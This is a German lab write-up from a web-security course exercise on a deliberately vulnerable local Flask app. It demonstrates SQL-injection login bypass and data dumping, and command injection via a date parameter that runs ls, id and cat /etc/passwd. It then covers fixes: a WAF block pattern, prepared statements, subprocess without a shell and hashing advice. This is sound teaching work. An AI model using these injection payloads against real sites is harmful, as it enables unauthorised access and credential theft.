

Blatt 2

Web-Security und Intrusion Prevention

Luis Staudt

Aufgabe 1–3: Die Webanwendung

Die Anwendung ist eine Flask-Webseite mit SQLite-Benutzerdatenbank, die über docker compose up gestartet wird. Ein zweiter Container (NginX) ist als Reverse Proxy und damit als Web Application Firewall vorgesehen, zunächst jedoch nicht aktiv konfiguriert. Benutzername und Passwort sind aus createSQLiteDB.py bekannt, etwa admin / password123. Ein regulärer Login funktioniert:

```
1 curl "http://127.0.0.1:5000/?username=admin&password=password123"
2 -> Hallo Benutzer admin
```

Die Webseite weist zwei Schwachstellen auf: eine SQL-Injection im Login (HandleLogin.py) und eine Command-Line-Injection unter /time (ShowDate.py).

Aufgabe 4: SQL-Injection

Die verwundbare Stelle baut den SQL-String durch String-Verkettung aus den Benutzereingaben zusammen:

```
1 query_string = ("SELECT * FROM user WHERE "
2               "username = '" + username + "' AND password = '" + password + "'")
```

a) Authentifizierung umgehen

Mit der Eingabe ' OR '1'='1 in beiden Feldern wird die WHERE-Bedingung immer wahr:

```
1 curl "http://127.0.0.1:5000/?username=x' OR '1'='1&password=y' OR '1'='1"
```

Der resultierende Query lautet:

```
1 SELECT * FROM user WHERE username = 'x' OR '1'='1' AND password = 'y' OR '1'='1'
```

Der Login gelingt damit ohne gültige Zugangsdaten.

b) Alle Zeilen der Datenbank anzeigen

Da OR '1'='1' alle Zeilen zurückgibt und die Anwendung das vollständige Ergebnis ausgibt, werden sämtliche Datensätze einschliesslich der Klartextpasswörter sichtbar:

```
1 [('admin', 'password123', 'admin@thecompany.org', '123 Admin St, Admin Town'),
2  ('alice', 'IamAlice', 'alice@wonder.lands', '1 Rabbit Hole, Fantasy Town'),
3  ('bob', 'qwerty', 'bob@sideshow.org', '42 Nowhere Blvd, Springfield'),
4  ('eve', 'evil', 'info@evilcorp.com', '666 Evil Avenue, Bad Land'),
5  ('ttp', 'ITS4ever', 'trust@ttp.me', '1 Trust Blvd, Trust Town')]
```

Aufgabe 5: Command-Line-Injection

Unter `/time` wird der `format`-Parameter ungeprüft an eine Shell angehängt:

```
1 cmdlines = os.popen("date +" + format_string)
```

a) Inhalt des aktuellen Verzeichnisses anzeigen

Mehrere Befehle lassen sich in der Shell mit dem Semikolon `;` hintereinander ausführen, alternativ mit `&&`, `|` oder `$()`. Der Parameter `format=x;ls -la` führt damit nach `date` zusätzlich `ls -la` aus:

```
1 curl "http://127.0.0.1:5000/time?format=x;ls %20-la"
2 -> HandleLogin.py PrettyPrint.py ShowDate.py app.py
3 createSQLiteDatabase.py users.db __pycache__
```

b) Als welcher Benutzer?

```
1 curl "http://127.0.0.1:5000/time?format=x;id;whoami"
2 -> uid=0(root) gid=0(root) groups=0(root)
3 root
```

Der Code läuft als `root` im Container. Die Injection erlaubt damit beliebige Befehle mit Root-Rechten.

c) Inhalt von `/etc/passwd`

```
1 curl "http://127.0.0.1:5000/time?format=x;cat%20/etc/passwd"
2 -> root:x:0:0:root:/root:/bin/bash
3 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
4 ...
5 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
6 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

Aufgabe 6: Absicherung

a) Zugriff nur über die WAF

In docker-compose.yml wird die Port-Freigabe 5000:5000 des Dienstes website entfernt. Dadurch ist die Webanwendung nur noch containerintern erreichbar; von aussen führt der einzige Weg über den Proxy auf Port 8080.

```

1 website:
2   build:
3     dockerfile: Dockerfile.website
4     context: ./
5 proxy:
6   image: nginx
7   ports:
8     - "8080:8080"

```

Der Test bestätigt die Absicherung: `http://127.0.0.1:5000/` ist nicht mehr erreichbar (Verbindung abgelehnt), `http://127.0.0.1:8080/` funktioniert weiterhin.

b) SQL-Injection in der WAF filtern

In nginx-filter.conf werden typische SQLi-Schlüsselwörter geblockt:

```

1 if ($query_string ~* "('|%27| or | union | select |--|;)" ) { return 403; }
2 if ($request_uri ~* "('|%27| or | union | select |--|;)" ) { return 403; }

```

Der Test zeigt die Wirkung:

```

1 curl "http://127.0.0.1:8080/?username=x' OR '1'='1&password=y"
2 -> HTTP 403

```

c) GET vs. POST beim Login

GET-Parameter stehen in der URL und landen damit im Browserverlauf, in Server- und Proxy-Logs sowie im Referer-Header. Zugangsdaten werden auf diese Weise unnötig an vielen Stellen gespeichert. Der Login wird daher auf POST umgestellt, sodass Benutzername und Passwort im Request-Body stehen. In app.py entfällt der GET-Zweig, in HandleLogin.py wird das Formular auf `method='post'` gesetzt.

d) Prepared Statement

Die eigentliche Ursache der SQL-Injection wird in `HandleLogin.py` behoben. Die Eingaben werden nicht mehr in den SQL-Text eingesetzt, sondern als Parameter übergeben:

```
1 query_string = "SELECT * FROM user WHERE username = ? AND password = ?"
2 cur.execute(query_string, (username, password))
```

Die Eingabe `x' OR '1'='1` im POST-Body führt jetzt zu „Login nicht möglich“, da sie als Literal behandelt wird und den Query nicht mehr verändern kann.

e) Command-Line-Injection verhindern

In `ShowDate.py` wird `os.popen (Shell)` durch `subprocess.run` mit Argumentliste ersetzt. Das Format wird als ein einzelnes Argument ohne Shell übergeben, sodass Metazeichen wie `;`, `|` oder `$()` nicht mehr interpretiert werden.

```
1 proc = subprocess.run(["date", "+" + format_string], capture_output=True, text=True)
```

Die Eingabe `format=x;cat /etc/passwd` liefert nun nur noch den literalen String `x;cat /etc/passwd` als ungültiges Datumsformat, ohne Dateiausgabe. Ein gültiges Format wie `%H:%M` funktioniert weiterhin.

f) Weitere Massnahmen

- Passwörter niemals im Klartext speichern, sondern gesalzen hashen, etwa mit `bcrypt` oder `argon2`.
- Fehlermeldungen nicht den SQL-Query oder gespeicherte Daten ausgeben lassen (Information Disclosure).
- Datenbankbenutzer mit minimalen Rechten statt `root`; Container nicht als `root` laufen lassen (USER-Direktive).
- Eingabevalidierung und Whitelisting (etwa erlaubte Zeichen im Datumsformat), Rate-Limiting und HTTPS.